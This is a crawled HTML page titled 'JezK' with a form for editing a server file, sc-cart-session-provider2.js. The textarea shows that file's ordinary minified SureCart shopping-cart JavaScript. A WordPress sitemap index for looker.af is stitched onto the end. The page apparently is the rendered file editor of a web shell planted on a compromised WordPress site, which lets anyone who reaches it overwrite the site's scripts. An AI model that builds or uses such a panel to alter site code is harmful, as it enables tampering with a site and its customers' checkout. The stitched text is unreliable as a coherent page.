
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: sc-cart-session-provider2.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import{proxyCustomElement,HTMLElement,createEvent,h}from&quot;@stencil/core/internal/client&quot;;import{s as state}from&quot;./mutations2.js&quot;;import{c as updateCheckout}from&quot;./index5.js&quot;;import{c as createErrorNotice}from&quot;./mutations3.js&quot;;import{u as updateFormState}from&quot;./mutations5.js&quot;;import{c as clearCheckout}from&quot;./mutations4.js&quot;;import{d as defineCustomElement$1}from&quot;./sc-line-items-provider2.js&quot;;const ScCartSessionProvider=proxyCustomElement(class extends HTMLElement{constructor(){super(),this.__registerHost(),this.__attachShadow(),this.scSetState=createEvent(this,&quot;scSetState&quot;,7)}handleUpdateSession(e){const{data:t,options:o}=e.detail;(null==o?void 0:o.silent)?this.update(t):this.loadUpdate(t)}handleErrorResponse(e){var t,o;&quot;readonly&quot;!==(null==e?void 0:e.code)&amp;&amp;&quot;checkout.customer.account_mismatch&quot;!==(null===(o=null===(t=null==e?void 0:e.additional_errors)||void 0===t?void 0:t[0])||void 0===o?void 0:o.code)||clearCheckout(),&quot;rest_cookie_invalid_nonce&quot;!==(null==e?void 0:e.code)?((null==e?void 0:e.message)&amp;&amp;createErrorNotice(e),&quot;http_request_failed&quot;===(null==e?void 0:e.code)&amp;&amp;createErrorNotice(wp.i18n.__(&quot;Something went wrong. Please reload the page and try again.&quot;,&quot;surecart&quot;))):updateFormState(&quot;EXPIRE&quot;)}async fetch(e={}){this.loadUpdate({status:&quot;draft&quot;,...e})}async update(e={},t={}){var o;try{state.checkout=await updateCheckout({id:null===(o=state.checkout)||void 0===o?void 0:o.id,data:{...e},query:{...t}})}catch(e){throw console.error(e),e}}async loadUpdate(e={}){try{updateFormState(&quot;FETCH&quot;),await this.update(e),updateFormState(&quot;RESOLVE&quot;)}catch(e){updateFormState(&quot;REJECT&quot;),this.handleErrorResponse(e)}}render(){return h(&quot;sc-line-items-provider&quot;,{key:&quot;4f389805680c0bba62eb5a90cc326aaad4e2fc31&quot;,order:state.checkout,onScUpdateLineItems:e=&gt;this.loadUpdate({line_items:e.detail})},h(&quot;slot&quot;,{key:&quot;45559f39cf7a79348a0fa5b89dd567ecb368b4d6&quot;}))}get el(){return this}},[1,&quot;sc-cart-session-provider&quot;,void 0,[[0,&quot;scUpdateOrder&quot;,&quot;handleUpdateSession&quot;]]]);function defineCustomElement(){&quot;undefined&quot;!=typeof customElements&amp;&amp;[&quot;sc-cart-session-provider&quot;,&quot;sc-line-items-provider&quot;].forEach((e=&gt;{switch(e){case&quot;sc-cart-session-provider&quot;:customElements.get(e)||customElements.define(e,ScCartSessionProvider);break;case&quot;sc-line-items-provider&quot;:customElements.get(e)||defineCustomElement$1()}}))}export{ScCartSessionProvider as S,defineCustomElement as d};</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
